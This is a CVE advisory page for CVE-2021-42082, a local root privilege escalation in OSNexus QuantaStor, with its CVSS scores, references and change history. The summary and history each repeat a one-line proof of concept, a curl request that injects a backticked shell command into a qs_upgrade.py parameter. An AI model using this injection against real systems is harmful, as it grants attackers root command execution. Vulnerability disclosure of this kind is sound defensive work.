CVE-2021-42082

CVSS v3 7.8 HIGH

7.8^/10

CVSS v3 : HIGH

Vector :

Exploitability : 1.8 / Impact : 5.9

Attack Vector LOCAL

Attack Complexity LOW

Privileges Required LOW

User Interaction NONE

Confidentiality Impact HIGH

Integrity Impact HIGH

Availability Impact HIGH

Scope UNCHANGED

L

ocal users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'

References

Link	Resource
https://csirt.divd.nl/CVE-2021-42082	Third Party Advisory
https://csirt.divd.nl/DIVD-2021-00020/
https://www.osnexus.com/products/software-defined-storage	Product
https://www.wbsec.nl/osnexus	Third Party Advisory
https://csirt.divd.nl/CVE-2021-42082	Third Party Advisory
https://www.divd.nl/DIVD-2021-00020
https://www.osnexus.com/products/software-defined-storage	Product
https://www.wbsec.nl/osnexus	Third Party Advisory

Configurations

Configuration 1 (hide)

cpe:2.3:a:osnexus:quantastor:*:*:*:*:*:*:*:*

History

22 Sep 2025, 07:15

Type	Values Removed	Values Added
Summary	~~(en) Local users are able to execute scripts under root privileges.~~	(en) Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'

21 Nov 2024, 06:27

Type	Values Removed	Values Added
References		() https://www.divd.nl/DIVD-2021-00020 -
References	~~() https://csirt.divd.nl/CVE-2021-42082 - Third Party Advisory~~	() https://csirt.divd.nl/CVE-2021-42082 - Third Party Advisory
References	~~() https://www.osnexus.com/products/software-defined-storage - Product~~	() https://www.osnexus.com/products/software-defined-storage - Product
References	~~() https://www.wbsec.nl/osnexus - Third Party Advisory~~	() https://www.wbsec.nl/osnexus - Third Party Advisory

16 Oct 2024, 12:15

Type	Values Removed	Values Added
References	~~{'url': 'https://www.divd.nl/DIVD-2021-00020', 'tags': ['Broken Link'], 'source': '[email protected]'}~~	() https://csirt.divd.nl/DIVD-2021-00020/ -

Information

Published : 2023-07-10 16:15

Updated : 2025-09-22 07:15

NVD link : CVE-2021-42082

Mitre link : CVE-2021-42082

CVE.ORG link : CVE-2021-42082

JSON object : View

Products Affected

quantastor

CWE

CWE-269

Improper Privilege Management

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